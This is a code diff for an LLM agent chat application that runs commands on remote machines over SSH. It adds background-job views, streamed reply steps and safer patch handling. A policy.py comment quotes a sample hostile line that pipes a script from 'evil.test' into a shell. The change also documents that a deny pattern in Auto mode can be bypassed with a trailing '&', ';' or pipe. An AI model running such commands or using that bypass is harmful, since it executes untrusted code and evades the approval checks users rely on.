diff --git a/src/lembas/api/agents.py b/src/lembas/api/agents.py
index d180c46..6e33902 100644
--- a/src/lembas/api/agents.py
+++ b/src/lembas/api/agents.py
@@ -25,6 +25,7 @@ from lembas.api.pages import sidebar_context
 from lembas.db.models import AUTH_METHODS, AUTH_PASSWORD, SshProfile
 from lembas.services import settings_store
 from lembas.services.agent import index as index_service
+from lembas.services.agent import jobs as jobs_service
 from lembas.services.agent import ssh as ssh_service
 from lembas.services.agent import terminal as terminal_service
 from lembas.services.agent.base import ExecError
@@ -244,6 +245,115 @@ async def browse_profile(
     )
 
 
+# --- Background jobs -----------------------------------------------------------
+# A job runs detached on the far side for as long as it takes -- a build, an
+# install, a test suite -- and until now the only way to see one was to ask the
+# model to call `job_list`. Something that outlives the reply that started it
+# needs a surface that outlives the reply too.
+#
+# Read-only listing and stopping sit **outside `agent/policy.py`**, which makes
+# this the fifth exception to "the modes govern the model, not the interface",
+# after the terminal panel, the directory browser, the project listing and
+# Canvas saving a file. The argument is the one those rest on: whoever owns the
+# credential could read the log with `cat` and stop the job with `kill`, and a
+# panel that asked permission to show what is already running would be a panel
+# nobody could use. `job_stop` as a *model* tool keeps its RISK_EXECUTE and its
+# approval card; nothing about what a model may do has changed.
+def _job_chat(db: Db, user: RequiredUser, chat_id: str):
+    """The chat, and the agent context its jobs belong to.
+
+    404 for a chat that is not this reader's, as everywhere else -- whether an
+    id exists is not something to hand out. The agent context is what carries
+    the connection, so a chat whose profile has been deleted or disabled has no
+    jobs to show rather than an error to render.
+    """
+    from lembas.db.models import Chat
+    from lembas.services.agent import session as agent_session
+
+    chat = db.get(Chat, chat_id)
+    if chat is None or chat.user_id != user.id:
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "That chat no longer exists.")
+    return chat, agent_session.resolve(db, chat, user)
+
+
+@router.get("/api/chats/{chat_id}/jobs")
+async def jobs_chip(request: Request, db: Db, user: RequiredUser, chat_id: str):
+    """How many jobs are running, as the chip in the composer row.
+
+    Always rendered, even at zero -- the chip is what carries `hx-trigger`, so a
+    fragment that collapsed to nothing would stop polling and the first job
+    started afterwards would never appear. The template renders an empty span in
+    that case, so the row does not reflow as jobs come and go.
+    """
+    chat, agent = _job_chat(db, user, chat_id)
+    views = jobs_service.listing(db, chat_id) if agent is not None else []
+    return render(
+        request,
+        "chat/_jobs_chip.html",
+        {"chat": chat, "jobs": views, "running": sum(1 for view in views if view.running)},
+    )
+
+
+@router.get("/api/chats/{chat_id}/jobs/panel")
+async def jobs_panel(request: Request, db: Db, user: RequiredUser, chat_id: str, job: str = ""):
+    """The list, and one job's output when a row is expanded.
+
+    The log is fetched only for the named job. Reading every job's tail on every
+    poll would be one SSH connection per job per five seconds, for output nobody
+    is looking at.
+    """
+    chat, agent = _job_chat(db, user, chat_id)
+    views = jobs_service.listing(db, chat_id) if agent is not None else []
+
+    body = ""
+    error = ""
+    if job and agent is not None:
+        if not jobs_service.valid_id(job) or not any(view.id == job for view in views):
+            # Namespaced by chat on the far side, and checked here as well: the
+            # path is built from the chat id, but the route takes the job id
+            # from the URL and must not read one that belongs elsewhere.
+            raise HTTPException(status.HTTP_404_NOT_FOUND, "No such job.")
+        try:
+            reading = await jobs_service.read(agent, job)
+            body = reading.body
+        except ExecError as exc:
+            error = exc.message
+
+    return render(
+        request,
+        "chat/_jobs_panel.html",
+        {"chat": chat, "jobs": views, "open_job": job, "body": body, "error": error},
+    )
+
+
+@router.post("/api/chats/{chat_id}/jobs/{job_id}/stop")
+async def stop_job(request: Request, db: Db, user: RequiredUser, chat_id: str, job_id: str):
+    chat, agent = _job_chat(db, user, chat_id)
+    views = jobs_service.listing(db, chat_id) if agent is not None else []
+    if agent is None or not jobs_service.valid_id(job_id):
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "No such job.")
+    if not any(view.id == job_id for view in views):
+        raise HTTPException(status.HTTP_404_NOT_FOUND, "No such job.")
+
+    error = ""
+    try:
+        await jobs_service.stop(agent, job_id)
+    except ExecError as exc:
+        error = exc.message
+
+    return render(
+        request,
+        "chat/_jobs_panel.html",
+        {
+            "chat": chat,
+            "jobs": jobs_service.listing(db, chat_id),
+            "open_job": "",
+            "body": "",
+            "error": error,
+        },
+    )
+
+
 def _parent_of(path: str) -> str:
     """The directory above, or "" at the root.
 
diff --git a/src/lembas/api/chats.py b/src/lembas/api/chats.py
index 36fe18c..92299e5 100644
--- a/src/lembas/api/chats.py
+++ b/src/lembas/api/chats.py
@@ -37,6 +37,7 @@ from lembas.services import generation as generation_service
 from lembas.services import interaction, settings_store, sse
 from lembas.services import metrics as metrics_service
 from lembas.services import prompts as prompts_service
+from lembas.services import steps as steps_service
 from lembas.services import tools as tools_service
 from lembas.services.agent import policy as agent_policy
 from lembas.services.agent import terminal as terminal_service
@@ -51,6 +52,13 @@ router = APIRouter(prefix="/api/chats", tags=["chats"])
 # Well under nginx's 60s default; see services/sse.py:KEEPALIVE.
 KEEPALIVE_AFTER = 15.0
 
+# How often the metrics chips are re-sent when nothing else has changed. The
+# reply's version does not move while a tool runs on the far machine, but its
+# clock does, so without this the counts and tokens/second stand still for most
+# of a long agent reply's wall time. A second is slow enough to be free and fast
+# enough that the numbers read as live.
+METRICS_INTERVAL = 1.0
+
 # How many prompts may wait behind a reply at once. The terminal panel's Auto
 # send is what this exists for: a `for` loop in a shell can produce commands
 # faster than any model answers them, and a bound with a sentence attached is
@@ -833,10 +841,30 @@ async def stream_message(
     )
 
 
-def _tool_activity(events: list[dict], *, live: bool = True) -> str:
-    """Render the tool block. Whole, never a delta, like every other frame."""
-    return templates.get_template("chat/_tool_activity.html").render(
-        {"tool_events": events, "live": live}
+def _step_html(message_id: str, step) -> str:
+    """One closed step of a running reply.
+
+    `SimpleNamespace` for the message, as `_canvas_tabs` already does for the
+    chat: the partial wants an id to build its element ids from and nothing
+    else, and there is no `Message` in scope here -- the row is not written
+    until the reply ends. `reasoning_ms` is only known then too, so a live step
+    says "Thought" and the stored one says how long for.
+    """
+    return templates.get_template("chat/_step.html").render(
+        {"step": step, "message": SimpleNamespace(id=message_id, reasoning_ms=0)}
+    )
+
+
+def _steps_tail_html(message_id: str) -> str:
+    """The two containers the live thinking and prose are swapped into.
+
+    Sent as part of the `steps` frame rather than as a frame of its own, which
+    is how the tail clears when a round closes: what was being written is now a
+    step above, and re-emitting these empty is what stops it also showing below.
+    It means `reasoning` and `render` can keep their never-blank guard.
+    """
+    return templates.get_template("chat/_steps_tail.html").render(
+        {"message": SimpleNamespace(id=message_id, reasoning_ms=0)}
     )
 
 
@@ -846,7 +874,7 @@ def _ask_html(chat_id: str, pending) -> str:
     Returns "" when there is nothing pending, and the frame is sent
     unconditionally, because this is one of the few blocks that has to be able
     to *clear* itself: the card must vanish the moment it is answered.
-    `reasoning`, `tools` and `render` are the opposite -- guarded by truthiness
+    `reasoning`, `render` and `steps` are the opposite -- guarded by truthiness
     so a frame can never blank them.
     """
     if pending is None:
@@ -882,25 +910,52 @@ async def _follow(chat_id: str, message_id: str) -> AsyncIterator[str]:
     another chat -- leaves the reply being written, and reconnecting replays
     the whole state immediately rather than starting over.
 
-    Both `render` and `reasoning` carry the complete block each time rather
-    than a delta, which is what makes reattaching mid-reply work at all: a
-    follower arriving late has no earlier fragments to append to.
+    Every frame carries the complete block each time rather than a delta, which
+    is what makes reattaching mid-reply work at all: a follower arriving late has
+    no earlier fragments to append to.
+
+    The split is along **closed versus open**, not along kind. `steps` carries
+    every step that has finished and moves only when a round ends; `reasoning`
+    and `render` carry the step still being written and move at streaming speed.
+    That is what makes this affordable: the old `tools` frame re-rendered every
+    tool call in the reply twelve times a second, against an output budget of a
+    megabyte, so a long agent reply spent most of its wall time re-rendering its
+    own transcript. `rendered` below is a render cache and not a wire protocol --
+    it starts empty for every follower, so one attaching mid-reply still receives
+    the whole prefix in its first frame.
+
+    The order within one pass is load-bearing: `steps` before `reasoning` and
+    `render`, because `steps` carries the containers those two are swapped into.
+    htmx re-registers `sse-swap` on content it swaps in, which is the same
+    property the approval card's buttons already rely on.
     """
     generation = generation_service.ensure(chat_id, message_id)
     generation.followers += 1
     seen = -1
     last_frame = time.monotonic()
+    last_metrics = 0.0
+    # The HTML of every step already rendered, and how many *marks* that covers.
+    # Two counters and not one: a mark can produce up to three steps -- thinking,
+    # prose, tools -- so the length of the list is not an index into the marks.
+    rendered: list[str] = []
+    marks_done = 0
 
     try:
         while True:
             if generation.version != seen:
                 seen = generation.version
-                if generation.thinking:
-                    yield sse.event("reasoning", escape_text(generation.thinking))
-                if generation.tool_events:
-                    yield sse.event("tools", _tool_activity(generation.tool_events))
-                if generation.content:
-                    yield sse.event("render", render_markdown(generation.text))
+                if len(generation.steps) > marks_done:
+                    for step in steps_service.closed_from(generation, since=marks_done):
+                        rendered.append(_step_html(message_id, step))
+                    marks_done = len(generation.steps)
+                    yield sse.event(
+                        "steps", "".join(rendered) + _steps_tail_html(message_id)
+                    )
+                thinking_tail, text_tail = steps_service.tail(generation)
+                if thinking_tail:
+                    yield sse.event("reasoning", escape_text(thinking_tail))
+                if text_tail:
+                    yield sse.event("render", render_markdown(text_tail))
                 if generation.canvas.get("tabs"):
                     # Guarded on truthiness, which puts this in the
                     # reasoning/tools/render group and not the
@@ -917,7 +972,18 @@ async def _follow(chat_id: str, message_id: str) -> AsyncIterator[str]:
                 yield sse.event("metrics", _metrics_html(generation))
                 yield sse.event("status", escape_text(generation.status))
                 yield sse.event("ask", _ask_html(chat_id, generation.pending))
-                last_frame = time.monotonic()
+                last_frame = last_metrics = time.monotonic()
+
+            # On a clock as well as on a change, because the version does not
+            # move while a tool runs -- there is no `touch()` inside
+            # `_run_calls` -- and a five-minute build on the far side is exactly
+            # when somebody looks at these numbers to see whether anything is
+            # happening. The elapsed clock is advancing throughout, so tok/s has
+            # to be allowed to fall; frozen chips beside a spinner read as a
+            # hang. One small swap a second, and only while the reply is live.
+            elif time.monotonic() - last_metrics > METRICS_INTERVAL:
+                yield sse.event("metrics", _metrics_html(generation))
+                last_frame = last_metrics = time.monotonic()
 
             if generation.done:
                 break
@@ -949,7 +1015,6 @@ async def _follow(chat_id: str, message_id: str) -> AsyncIterator[str]:
         final_html = templates.get_template("chat/_message.html").render(
             {
                 "message": message,
-                "body_html": render_markdown(message.content),
                 "chat": chat,
                 # Passed even though an assistant bubble never reads it: the
                 # template shares both roles, and a missing `user` would only
@@ -985,9 +1050,6 @@ def _render_bubble(db: DBSession, chat: Chat, owner: User | None, message: Messa
     return templates.get_template("chat/_message.html").render(
         {
             "message": message,
-            "body_html": (
-                render_markdown(message.content) if message.role == ROLE_ASSISTANT else ""
-            ),
             "chat": chat,
             "user": owner,
             "models_by_id": {m.model_id: m for m in chat_service.available_models(db, None)},
@@ -1138,7 +1200,6 @@ async def cancel_edit(
             "chat": chat,
             "user": user,
             "message": message,
-            "body_html": "",
             "models_by_id": {},
         },
     )
@@ -1383,8 +1444,9 @@ async def answer_interaction(
     # about to run rather than the one the model asked for. Remembering the
     # proposed one would grant a standing permission nobody approved.
     remembered = 0
+    unmatchable = 0
     if verdict == interaction.ALLOW_ALWAYS:
-        remembered = _remember_always(
+        remembered, unmatchable = _remember_always(
             db,
             chat,
             generation_service.pending_items(chat.id, interaction_id),
@@ -1415,13 +1477,33 @@ async def answer_interaction(
                 }
             }
         )
+    elif unmatchable:
+        # Otherwise this is a button that silently did nothing, which is the
+        # failure the rest of this feature was arranged to avoid. It is allowed
+        # to store nothing -- a composed command line must never become a
+        # standing permission -- but it is not allowed to say nothing.
+        response.headers["HX-Trigger"] = json.dumps(
+            {
+                "lembas:notify": {
+                    "message": (
+                        "Allowed once. A command line that runs more than one thing "
+                        "cannot be stored as a rule, so this chat will ask again."
+                    )
+                }
+            }
+        )
     return response
 
 
 def _remember_always(
     db: DBSession, chat: Chat, items, *, answers: dict[str, str] | None = None
-) -> int:
-    """Record what "always allow" was said about. Returns how many were new.
+) -> tuple[int, int]:
+    """Record what "always allow" was said about.
+
+    Returns (how many were new, how many could not be stored at all). The second
+    is what the caller turns into a toast: `subject` yields nothing for a
+    composed command line, so pressing the button on one is right to store
+    nothing and wrong to say nothing.
 
     The pattern is derived **here**, and still never taken from the request as a
     pattern: `answers` carries the command a person may have corrected on the
@@ -1444,6 +1526,7 @@ def _remember_always(
     entries = list(scope.get("allow") or [])
     written = answers or {}
     added = 0
+    unmatchable = 0
 
     for item in items:
         if item.kind != interaction.KIND_APPROVAL or len(entries) >= MAX_SCOPE_KEYS:
@@ -1452,7 +1535,10 @@ def _remember_always(
         if item.editable:
             detail = (written.get(item.key) or "").strip() or item.detail
         pattern = agent_policy.subject(item.tool_name, detail)
-        if not pattern or pattern in entries:
+        if not pattern:
+            unmatchable += 1
+            continue
+        if pattern in entries:
             continue
         entries.append(pattern)
         added += 1
@@ -1463,7 +1549,7 @@ def _remember_always(
         chat.scope_json = {**scope, "allow": entries}
         db.commit()
         log.info("chat %s will stop asking about %d action(s)", chat.id, added)
-    return added
+    return added, unmatchable
 
 
 @router.post("/{chat_id}/allow/clear")
@@ -1713,7 +1799,6 @@ async def regenerate(
             "request": request,
             "message": message,
             "chat": chat,
-            "body_html": "",
             "user": user,
             "models_by_id": {
                 m.model_id: m for m in chat_service.available_models(db, user)
diff --git a/src/lembas/api/pages.py b/src/lembas/api/pages.py
index 07efa86..ad99bb9 100644
--- a/src/lembas/api/pages.py
+++ b/src/lembas/api/pages.py
@@ -17,7 +17,6 @@ from lembas.services import compaction as compaction_service
 from lembas.services import settings_store
 from lembas.services import suggestions as suggestions_service
 from lembas.services.library import documents as documents_service
-from lembas.services.markdown import render_markdown
 from lembas.web.templating import STATIC_DIR, render
 
 router = APIRouter(tags=["pages"])
@@ -183,6 +182,12 @@ def _agent_context(db: DBSession, user: User, chat: Chat | None) -> dict:
             for m in agent_policy.MODES
         ],
         "terminal_enabled": _terminal_enabled(db, user, chat, current),
+        # Whether this chat could have background jobs at all. Not whether it
+        # has any -- that is what the chip's own request answers, five seconds
+        # later, off the request path. A chip that can never show anything is a
+        # chip that only takes room in a row this codebase has already had to
+        # fight to keep on one line.
+        "jobs_enabled": _jobs_enabled(db, user, chat, current),
         # Any chat that exists. Deliberately not gated the way the terminal is:
         # half the canvas's sources -- notes, skills, this chat's attachments,
         # its own scratch document -- need no machine at all, so the terminal's
@@ -196,6 +201,28 @@ def _agent_context(db: DBSession, user: User, chat: Chat | None) -> dict:
     }
 
 
+def _jobs_enabled(db: DBSession, user: User, chat: Chat | None, profile) -> bool:
+    """Whether background jobs are possible in this chat.
+
+    The same shape as `_terminal_enabled` and for the same reason, but keyed on
+    `background_enabled` rather than on `terminal_enabled` and on `tools.agent`
+    rather than `agent.terminal` -- somebody who may have a model run commands
+    here may see which of them are still running. It is not a second permission,
+    because there is no action here the agent tools do not already grant.
+    """
+    from lembas.db.models import KIND_AGENT
+    from lembas.services.agent import ssh as ssh_service
+
+    if chat is None or chat.kind != KIND_AGENT or profile is None:
+        return False
+    if not permissions.has(db, user, "tools.agent"):
+        return False
+    values = settings_store.agents(db)
+    if not values.get("enabled") or not values.get("background_enabled"):
+        return False
+    return ssh_service.available() == ""
+
+
 def _terminal_enabled(db: DBSession, user: User, chat: Chat | None, profile) -> bool:
     """Whether this chat can offer a shell of its own.
 
@@ -490,14 +517,13 @@ async def chat_detail(request: Request, db: Db, user: RequiredUser, chat_id: str
     # have only stopped being part of the request.
     compacted, messages = compaction_service.split(db, chat, everything)
 
-    # Markdown is rendered once here rather than in the template so the same
-    # helper produces the page and the streamed final frame -- one code path,
-    # no chance of the two disagreeing.
-    bodies = {
-        message.id: render_markdown(message.content)
-        for message in everything
-        if message.role == "assistant" and message.content
-    }
+    # Empty, and kept only so `_thread.html` and the four handlers that render a
+    # bubble keep one signature between them. An assistant turn is rendered from
+    # its steps now (`message_steps`, a Jinja global), which is what lets a
+    # reply's prose sit either side of the tool call it surrounded rather than
+    # arriving as one block at the bottom. Nothing reads this for an assistant
+    # message any more; `library/note_detail.html` has its own.
+    bodies: dict[str, str] = {}
 
     # What the chat would use if its own prompt were empty, so the settings
     # panel can show it as placeholder text rather than leaving the user to
diff --git a/src/lembas/db/models/chat.py b/src/lembas/db/models/chat.py
index 4eaabaf..9fbe4e3 100644
--- a/src/lembas/db/models/chat.py
+++ b/src/lembas/db/models/chat.py
@@ -293,6 +293,21 @@ class Message(UUIDPrimaryKey, Timestamps, Base):
     # answer stay visible, and deliberately NOT replayed as context on the next
     # turn -- see services/generation.py for why.
     tool_calls_json: Mapped[list[Any]] = mapped_column(JSONList, default=list)
+
+    # Where each round's contribution ended, so `content`, `reasoning` and
+    # `tool_calls_json` can be shown as the one sequence they actually were
+    # rather than as three stacked zones. One entry per closed step, holding the
+    # cumulative length of each of the three at that moment. See
+    # services/steps.py; read it through the `steps` property below.
+    #
+    # Nullable, and that is load-bearing rather than lazy. `migrations.py`
+    # derives a backfill for a NOT NULL column from `column.type.python_type`,
+    # and `JSONList` is `MutableList.as_mutable(JSON)` whose `python_type` is
+    # `dict` -- so a NOT NULL list column would be backfilled `'{}'` on every
+    # existing row and fail on the first read. Nullable means no default, which
+    # is what an older row should have anyway: no marks, and the old layout.
+    steps_json: Mapped[list[Any] | None] = mapped_column(JSONList, nullable=True, default=list)
+
     usage_json: Mapped[dict[str, Any]] = mapped_column(JSONDict, default=dict)
 
     # A plan produced in Plan mode, or the state of one being carried out. See
diff --git a/src/lembas/services/agent/jobs.py b/src/lembas/services/agent/jobs.py
index 9618317..bc81b06 100644
--- a/src/lembas/services/agent/jobs.py
+++ b/src/lembas/services/agent/jobs.py
@@ -42,6 +42,9 @@ import re
 import time
 import uuid
 from dataclasses import dataclass, field
+from typing import Any
+
+from sqlalchemy import select
 
 from lembas.services.agent.base import ExecError, ExecRequest, clean_output
 
@@ -350,6 +353,86 @@ def valid_id(job_id: str) -> bool:
     return bool(_ID.match(job_id or ""))
 
 
+@dataclass(frozen=True)
+class JobView:
+    """One job as a person sees it, rather than as the watcher tracks it.
+
+    Two sources, because neither is complete on its own. The `agent_jobs` row is
+    what survives a restart and carries wall-clock times; `JobState` is what this
+    process knows now, and it exists for a job whose row could not be written --
+    `_persist_row` is best-effort by design, so a job with no row is still a job
+    that is running.
+
+    Times are wall clock, from the row. `JobState.started_at` is
+    `time.monotonic()`, which is right for measuring an interval inside one
+    process and meaningless across a restart: `rehydrate` builds a fresh
+    `JobState` whose clock starts at nought, so a job that had been running for
+    three hours would report having started a moment ago.
+    """
+
+    id: str
+    command: str
+    status: str
+    exit_status: int | None = None
+    started_at: Any = None
+    finished_at: Any = None
+
+    @property
+    def running(self) -> bool:
+        return self.status == "running"
+
+
+def listing(db, chat_id: str) -> list[JobView]:
+    """Every job this chat has, newest first.
+
+    Live state wins over the stored row where they disagree. They should not --
+    `_record` writes the row as it updates the state -- but the row write is the
+    half allowed to fail, so preferring the fresher of the two is what keeps a
+    finished job from being shown as running for ever.
+    """
+    from lembas.db.models import Job
+
+    live = {job.id: job for job in for_chat(chat_id)}
+    views: list[JobView] = []
+    seen: set[str] = set()
+
+    rows = db.scalars(
+        select(Job).where(Job.chat_id == chat_id).order_by(Job.created_at.desc())
+    )
+    for row in rows:
+        state = live.get(row.id)
+        seen.add(row.id)
+        views.append(
+            JobView(
+                id=row.id,
+                command=row.command or "",
+                status=state.status if state is not None else row.status,
+                exit_status=state.exit_status if state is not None else row.exit_status,
+                started_at=row.created_at,
+                finished_at=row.finished_at,
+            )
+        )
+
+    # A job whose row never got written. It has no start time to show, which is
+    # honest: nothing recorded one.
+    for job in live.values():
+        if job.id not in seen:
+            views.insert(
+                0,
+                JobView(
+                    id=job.id,
+                    command=job.command,
+                    status=job.status,
+                    exit_status=job.exit_status,
+                ),
+            )
+    return views
+
+
+def running_count(db, chat_id: str) -> int:
+    return sum(1 for view in listing(db, chat_id) if view.running)
+
+
 def _record(job_id: str, status: str, exit_status: int | None) -> None:
     job = _JOBS.get(job_id)
     if job is None or job.status != "running":
diff --git a/src/lembas/services/agent/patch.py b/src/lembas/services/agent/patch.py
index 020a1c2..9e5ec27 100644
--- a/src/lembas/services/agent/patch.py
+++ b/src/lembas/services/agent/patch.py
@@ -243,18 +243,45 @@ def _mismatch(number: int, hunk: Hunk, lines: list[str], hint: int, why: str) ->
         )
 
     expected = next((line[1:] for line in hunk.lines if line[:1] in (" ", "-")), "")
-    found = lines[hint] if 0 <= hint < len(lines) else "(past the end of the file)"
     return PatchError(
         f"Hunk {number} did not apply. It expects line {hint + 1} to be\n"
         f"      {expected}\n"
         f"but the file has\n"
-        f"      {found}\n"
+        f"{_around(lines, hint)}\n"
         f"and those lines are nowhere else nearby either. Nothing was written. "
-        f"Read the file again and send a patch that matches it.",
+        f"Send a patch whose context matches what is printed above.",
         hunk=number,
     )
 
 
+# How many lines either side of the hinted position to print back. Three, which
+# is what a patch carries as context, so a model can read its next attempt
+# straight off the message.
+MISMATCH_WINDOW = 3
+
+
+def _around(lines: list[str], hint: int) -> str:
+    """The file as it actually is, around where the hunk expected to land.
+
+    One line was not enough. A model whose line numbers are two out reads "the
+    file has X", cannot see where X sits relative to what it wanted, and sends
+    the identical patch again -- which is most of the retry loop this tool
+    produces in practice. Numbered, because the numbers are what was wrong.
+    """
+    if not lines:
+        return "      (the file is empty)"
+    if hint >= len(lines):
+        start = max(0, len(lines) - MISMATCH_WINDOW)
+        shown = [f"  {n + 1:>5}  {lines[n]}" for n in range(start, len(lines))]
+        return "\n".join([*shown, f"      (the file ends at line {len(lines)})"])
+
+    start = max(0, hint - MISMATCH_WINDOW)
+    end = min(len(lines), hint + MISMATCH_WINDOW + 1)
+    return "\n".join(
+        f"{'->' if n == hint else '  '} {n + 1:>5}  {lines[n]}" for n in range(start, end)
+    )
+
+
 def render(before: str, after: str, path: str, *, max_lines: int = 200) -> str:
     """A unified diff of one change, for the transcript.
 
diff --git a/src/lembas/services/agent/policy.py b/src/lembas/services/agent/policy.py
index abe552d..db64d4e 100644
--- a/src/lembas/services/agent/policy.py
+++ b/src/lembas/services/agent/policy.py
@@ -88,13 +88,27 @@ POLICY: dict[str, dict[str, str]] = {
 
 # A shell metacharacter makes a command line unmatchable, so no pattern may be
 # applied to it. Without this, `git *` in an allow list also matches
-# `git status; curl evil.test | sh`, which is the whole ballgame.
+# `git status; curl evil.test | sh`, which is the whole ballgame. That half is
+# absolute and is what this constant exists for.
 #
-# The original reasoning stopped there, arguing a deny list needed no such care
-# because "failing open returns you to the mode". That is true of Manual, Edit
-# and Plan, where the mode is ASK -- and false of Auto, where it is ALLOW. So
-# `shutdown -h now` asked and `shutdown -h now &` ran, and one character was the
-# whole of the difference. See `decide`.
+# The deny list is the other half, and it has been decided both ways. There was
+# once a rule that an unmatchable line ASKed whenever a deny list existed at
+# all, on the grounds that `shutdown -h now` asked while `shutdown -h now &`
+# ran. It is gone: the shipped deny list is non-empty, so that rule made *every*
+# compound command ask in Auto -- `cd build && make`, `pytest | tail`, anything
+# with a pipe -- and a mode whose whole purpose is not asking asked about most
+# real commands. It was not a security control anybody experienced as one; it
+# was Auto appearing not to work.
+#
+# So an unmatchable line now falls through to the mode, and in Auto the mode is
+# ALLOW. What that gives up, plainly: a deny pattern can be walked past with a
+# trailing `&`, a `;` or a pipe. Auto is the only mode where this is reachable,
+# because Manual, Edit and Plan all ASK on RISK_EXECUTE regardless. The allow
+# list is untouched by the change and still cannot be matched at all.
+#
+# The upgrade that would restore both properties is to split a composed line on
+# these metacharacters and check every segment against the deny list only. It is
+# confined to `decide` and is worth doing; it is not done here.
 _UNSAFE = re.compile(r"[;&|<>`$\n\\()]")
 
 
@@ -175,13 +189,15 @@ def decide(
 
     1. A deny wins before everything, **including Auto**. A deny list that Auto
        ignores is not a deny list, it is a suggestion.
-    2. A command line nobody can match is not a command line the deny list can
-       clear. See below.
-    3. `ask` never resolves to allow. `ask_user` asks in every mode; that is
+    2. `ask` never resolves to allow. `ask_user` asks in every mode; that is
        what the tool is for, and a mode that skipped it would answer the
        model's question on the reader's behalf.
-    4. An allow-list hit runs it.
-    5. Otherwise the table.
+    3. An allow-list hit runs it.
+    4. Otherwise the table.
+
+    A command line carrying a shell metacharacter matches neither list, so it
+    reaches the table and Auto runs it. See the note above `_UNSAFE` for what
+    that trades away and why.
 
     An unrecognised mode is treated as Manual, not Auto: a row that predates a
     rename has to fail towards asking.
@@ -192,21 +208,6 @@ def decide(
     if hit:
         return Decision(ASK, f"“{hit}” is on the list of commands to always ask about.")
 
-    # Unmatchable *and* somebody has said what to always ask about. Falling
-    # through here is what let `shutdown -h now &` run in Auto while
-    # `shutdown -h now` asked: `subject` returns None for anything containing a
-    # metacharacter, `_matches` returns "" for None, and Auto's row is ALLOW.
-    #
-    # Only when there is a deny list at all. Making every compound command ask
-    # regardless would take `cd build && make` -- which is most real commands --
-    # away from the mode whose whole purpose is not asking.
-    if candidate is None and deny:
-        return Decision(
-            ASK,
-            "This command line runs more than one thing, so it cannot be "
-            "checked against the list of commands to always ask about.",
-        )
-
     if risk == RISK_ASK:
         return Decision(ASK, "")
 
diff --git a/src/lembas/services/agent/tools.py b/src/lembas/services/agent/tools.py
index d51cc62..088203b 100644
--- a/src/lembas/services/agent/tools.py
+++ b/src/lembas/services/agent/tools.py
@@ -511,7 +511,36 @@ async def _run_edit(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
             _event("file_edit", agent, path, status="error", error="No patch."),
         )
 
-    before, diffable = await _current(agent, path)
+    # Read here rather than through `_current`, which answers a different
+    # question. `_current` exists for `file_write`, where a file that cannot be
+    # read is a file about to be created and "" is the honest answer. Applying a
+    # patch to that "" instead reported a context mismatch against
+    # "(past the end of the file)" -- a model told the file is empty when it is
+    # in fact unreadable retries the same patch, then rewrites the file whole,
+    # which is how an unreadable file becomes a lost one.
+    try:
+        before = await agent.executor().read_file(path, max_bytes=agent.max_output)
+    except ExecError as exc:
+        return ToolOutcome(
+            f"{exc.message} Nothing was written.",
+            _event("file_edit", agent, path, status="error", error=exc.message),
+        )
+
+    # And a file too big to read whole may not be patched at all. `read_file`
+    # truncates at the ceiling, so `after` would be the beginning of the file
+    # with the patch applied -- and `write_file` replaces, so writing it back is
+    # how the rest of the file is deleted. Silently, and reported as a success
+    # with a byte count. This is the same rule Canvas follows for the same
+    # reason: a truncated read opens read-only.
+    if len(before) >= agent.max_output:
+        return ToolOutcome(
+            f"{path} is too large to patch: only the first {agent.max_output} bytes "
+            f"can be read, and writing back what was read would delete the rest. "
+            f"Nothing was written. Change it with a command instead — sed, or a "
+            f"short script.",
+            _event("file_edit", agent, path, status="error", error="Too large to patch."),
+        )
+
     try:
         after = patch.apply(before, patch.parse(raw))
     except patch.PatchError as exc:
@@ -551,8 +580,10 @@ async def _run_edit(context: ToolContext, args: dict[str, Any]) -> ToolOutcome:
         text=f"{written} bytes",
         canvas=_canvas(agent, path),
     )
-    if diffable:
-        event["diff"] = patch.render(before, after, path, max_lines=MAX_DIFF_LINES)
+    # Always diffable here: an unreadable original and a truncated one have both
+    # already been refused above, which is the whole difference between this and
+    # `file_write`'s use of `_current`.
+    event["diff"] = patch.render(before, after, path, max_lines=MAX_DIFF_LINES)
 
     return ToolOutcome(f"Updated {path} ({written} bytes).", event)
 
diff --git a/src/lembas/services/generation.py b/src/lembas/services/generation.py
index 876b73f..a34e282 100644
--- a/src/lembas/services/generation.py
+++ b/src/lembas/services/generation.py
@@ -72,6 +72,14 @@ MAX_TOOL_ROUNDS = 200
 # say so and be believed rather than argued with indefinitely.
 MAX_NUDGES = 2
 
+# How much prose an agent reply that called nothing has to have written before
+# it counts as having stalled rather than as having answered. A model that talks
+# itself out of every tool call produces pages of it -- announcing the call,
+# reconsidering, announcing it again -- while somebody asking a question in an
+# agent chat and getting a couple of lines back has simply been answered. The
+# number only has to sit between those two, and there is nothing to tune here.
+NUDGE_MIN_CHARS = 1500
+
 # How much of the window a request may occupy before the next round is refused.
 # A tool round appends an assistant turn and a tool turn per call, so a reply
 # that keeps calling tools grows its own request until the endpoint refuses it --
@@ -100,6 +108,11 @@ class Generation:
     # live as the model works and kept on the message afterwards.
     tool_events: list[dict] = field(default_factory=list)
 
+    # Where each round's contribution ended, so the three stores above can be
+    # rendered as the one sequence they were. Written by `close_step`, and
+    # marks rather than copies -- see services/steps.py.
+    steps: list[dict] = field(default_factory=list)
+
     # --- What it cost --------------------------------------------------------
     # Prompt and completion are summed across tool rounds: what the reply cost.
     # context_tokens is overwritten each round with that round's prompt plus
@@ -121,6 +134,18 @@ class Generation:
     # `context_tokens`, so the fallback mirrors it rather than inventing a
     # second convention.
     prompt_estimate_total: int = 0
+    # Whether any round's usage block ever arrived. The one fact that decides
+    # whether these numbers are counted or worked out, recorded where it is
+    # known instead of inferred downstream from "are both counts non-zero?" --
+    # which the end-of-reply fallback makes true of a reply nobody counted, so
+    # the `~` vanished at exactly the moment everything became an estimate.
+    reported_usage: bool = False
+    # How many characters of text and reasoning had been written when that usage
+    # block arrived. What is written past it is this round's, uncounted until the
+    # round ends -- so it is the gap the metrics interpolate across, and it is
+    # what keeps the counts moving between one usage chunk and the next instead
+    # of standing still for a whole round.
+    counted_chars: int = 0
     rounds: int = 0
     # time.monotonic() at the start. A field rather than a local in `_run`
     # because `_follow` is a different function that sees only this object, and
@@ -190,6 +215,28 @@ class Generation:
     def touch(self) -> None:
         self.version += 1
 
+    def close_step(self) -> None:
+        """End the step being written. Everything appended from here is the next.
+
+        Called where a round's contribution ends and nowhere else, so the list
+        stays append-only and an index into it means the same step for ever --
+        which is what the transcript's DOM ids are built from, and therefore
+        what lets a block somebody opened survive both a stream frame and the
+        `done` frame that replaces the whole bubble.
+
+        There is deliberately no closing mark at the end of a reply. The
